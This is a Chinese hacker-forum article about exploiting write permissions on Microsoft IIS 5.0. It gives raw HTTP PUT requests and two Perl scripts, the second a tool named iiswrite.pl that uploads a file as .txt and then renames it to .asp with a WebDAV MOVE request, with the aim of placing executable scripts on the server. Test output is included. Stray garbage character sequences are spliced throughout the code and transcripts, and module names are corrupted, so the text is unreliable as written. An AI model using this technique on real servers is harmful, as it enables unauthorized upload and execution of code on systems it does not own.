对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

/ `, o. \& g& C4 `. r

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

: s; q" M; R# `2 G' tPUT /dir/my_file.txt HTTP/1.1 Host: iis-server / U' h( \9 T5 `9 Q$ ^Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 {7 Q; N! W% k2 |: V8 d. DDate: Thu, 28 Feb 2002 15:56:00 GMT

n. G) F; P" D- W) J$ H# \! w

　　接着，我们输入10个字母：

AAAAAAAAAA

$ G% e( S- V6 s' f' k0 V S- ^

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

; z, \0 a- H. C9 H

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt ; a: Q# l: D2 |( nContent-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

" Y5 R4 s9 u' C# F! |1 }

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

5 b! @ ^( B$ X! ^/ \7 P: bPUT /dir/my_file.txt HTTP/1.1 2 I9 K) E8 R$ ?& ?) LHost: iis-server 0 w5 i! O( g3 @/ W$ \Content-Length: 10

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 & o( A2 p. x; Z" j: e- o　　Host：是HTTP请求的发送地址 C' i1 t/ @# ^　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

* j; P3 Z f& `8 M# Z! i

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

2 y1 U5 N8 j. |1 h" E

" U8 z/ n: t4 U l/ V+ d4 @3 c7 @! T

#!/usr/bin/perl # p& a' _" O; R' m1 d& Wuse I:Socket; : r8 F4 t$ ?( l* |5 C$ARGC = @ARGV;

if ($ARGC != 4) ! R- F, G. f1 F{ ! Q8 I( ~, M( i Y7 s* H4 V, g' g　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; * L% Z& e1 g" Q* Z: f2 a9 R7 h$file = @ARGV[2]; . j# P1 Q7 F( g$path = @ARGV[3];

@s=stat("$file"); $size = $s[7]; #得到文件大小 0 V) Y8 h u8 ] w sprint "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", $ u8 x* c6 c& \PeerAddr =>$host, + s+ ^4 ~: f- m( `9 n# {8 [PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; , e9 l, j$ y7 u s7 ^print $sock "Host: $host\n"; + R9 h1 ] _: K+ eprint $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); 5 T" w. ?* y: Lbinmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; } " |5 X# n# r! l0 L& |1 a$ sprint $sock "\n\n"; % L& X4 g6 O3 A( y@req = <$sock>; print "please wait...\n"; . y: I5 }6 J6 C& d7 jsleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 } else{ 　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 , w# q$ J3 a' C C} close $sock; - J% L" I. d. U1 \1 rclose FILE;

　　下面我们测试下：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt / Z# f" w# }% O9 T: f% L, Kkaka.txt size is 14 bytes please wait... 3 G! N! p) X* O$ k2 u' Uupfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 # M1 {6 ~1 _* ^9 E卷的序列号是 3CD1-479E

% n3 q S' u9 r3 Y6 H9 S

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 ! f1 ^ s5 T- b/ \: ^& E/ o0 个目录 3,871,080,448 可用字节

! U# ]; j3 z# b9 G2 R+ P9 m) ^0 |

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

* ~$ k& b$ P7 _2 r |4 t

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes please wait... & A; C5 E9 F% zupfile Succeed!!!

9 p5 e# Q# G! X/ o8 e, [9 c, ?4 k

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe " W0 O4 ^. g4 u' w$ m- w% d& ]1 个文件 20,535 字节 ' e! T, |9 h1 u* l0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

+ h, E1 I, k5 _ y" f

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp " P7 o7 A2 i: }- H) g# j h) c1 g5 dkaka.asp size is 4 bytes please wait... 0 A* O* |3 d# P0 T# Fupfile faile!!!

/ V# i" b2 _' b0 w9 n

HTTP/1.1 100 Continue " W) {9 W7 Y( A9 j, [6 r7 eServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden : ~! o5 ?9 n4 M# x7 g% qServer: Microsoft-IIS/5.0 a! q x2 w5 f& m" T& n( b+ F0 P- A8 }Date: Tue, 04 May 2004 16:45:51 GMT Connection: close Content-Type: text/html 6 Q, v% M) ]1 d8 J, RContent-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 ) w% |: S" G- z& x2 I W$ s) d' hHost:127.0.0.1 ; [/ a! H7 |; O; Q( F! fDestination: http://127.0.0.1/scripts/kaka.asp

2 N. w' {3 D0 p; C2 f4 d

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 1 e9 A+ a( ?: w+ a# B- M2 SDate: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml 1 B; C( x2 S+ O/ W* z; y( s5 j FContent-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

( `+ x# T, A3 F7 ]! m9 s3 V0 V V

　　测试写asp成功：

2 z8 L$ ]: S( B2 I9 Z

# a' ?# m( J; A2 d) T$ c 8 H) P5 @1 b h3 P, B

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ( W0 T: f- ~' K+ ~) Z+ @7 z************************************************************ , q3 w/ _7 F! @( c+ bcodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ kaka.asp size is 4 bytes + K, _( N/ h; A3 J% T' m# M$ |2 Iplease wait... 1 g8 U5 ~3 s c8 r9 Wupfile Succeed!!! Modifyfile Succeed!!!

1 p- l; `: ~0 o" l5 _4 i

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

7 B& P8 j j3 u& ?7 t0 b

#!/usr/bin/perl #The iiswrite Script

use I:Socket; $ARGC = @ARGV; ! z9 W# I& B6 Q; b! gprint "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; - T. R/ ]# Y) j- y- A2 }8 ]( C2 xprint "*" x 60,"\n"; if ($ARGC != 4) . j1 Y( n$ N$ N) ~( U* z{ 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; # `6 \+ J3 B) B+ \8 x c) K, r　　exit; } $host = @ARGV[0]; ; X/ I1 l6 o9 k- h: S/ _$port = @ARGV[1]; : f( C8 X# M6 E4 _, [$path = @ARGV[3]; - _% |, q& N+ y$ D( q$file = @ARGV[2];

% d$ P6 C. B- G+ @/ m0 q1 m0 I

@path=split("/",$path); 0 y$ S! Y9 g* S, x$any = pop(@path); , d) N: O, T) e) |1 x" A: g& ^9 t$path1=join("/",@path); 4 H/ {6 T4 V; j$ @@s=stat("$file"); - m( F) Y7 S, R) [/ I3 s$size = $s[7];

& h5 q0 K: c, s% L* U+ {# u

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", 7 U3 e' x: g1 ZPeerAddr =>$host, ; X6 m1 S' j2 C& f, zPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 7 h* o0 ?* k3 S6 _3 Pprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; r* u2 M7 K+ H: a6 L# _" z7 ?print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; 6 \( B2 \) k1 }' U( E4 m3 H- Iopen(FILE,"$file")|| die "Can't open $file"; * Y+ V$ f7 O8 p4 N5 zbinmode(FILE); while (read(FILE,$char,1024)) { 7 [$ Y! e! F+ a# U　　print $sock "$char"; } ( a' w0 e0 K8 K. a1 n0 rprint $sock "\n\n"; 8 f1 P F1 T! t2 l" g/ q, ?@req = <$sock>; print "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ ' P& q8 b4 [* {" P2 h+ P　　print "upfile Succeed!!!\n" ; } * r: s5 }% C N- ?8 l- t. celse{ ; ^ D7 M3 p1 x2 I+ q$ V5 q　　print "upfile faile!!!\n"; } ; j% ?$ Z$ X7 _8 O0 S. p# A" nclose $sock; " X% R; g% r' x6 R# Vclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, : C0 g+ o# ?( Q& A- aPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; ; G0 Q1 J6 I/ T& h# Fprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; , _# s# H$ w: x) K p% Gprint $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; @req = <$sock>; , i) f, H# `! G& R# Tif ($req[0]=~/20\d+|/){ & G0 c9 B- E6 c2 m9 y& X$ h! t　　print "Modifyfile Succeed!!!" ; 9 E2 T& q% ?1 P. C* U} else{ * m3 Z0 D: i: E　　print "upfile faile!!!"; , p4 u ?' J% i5 a} close $sock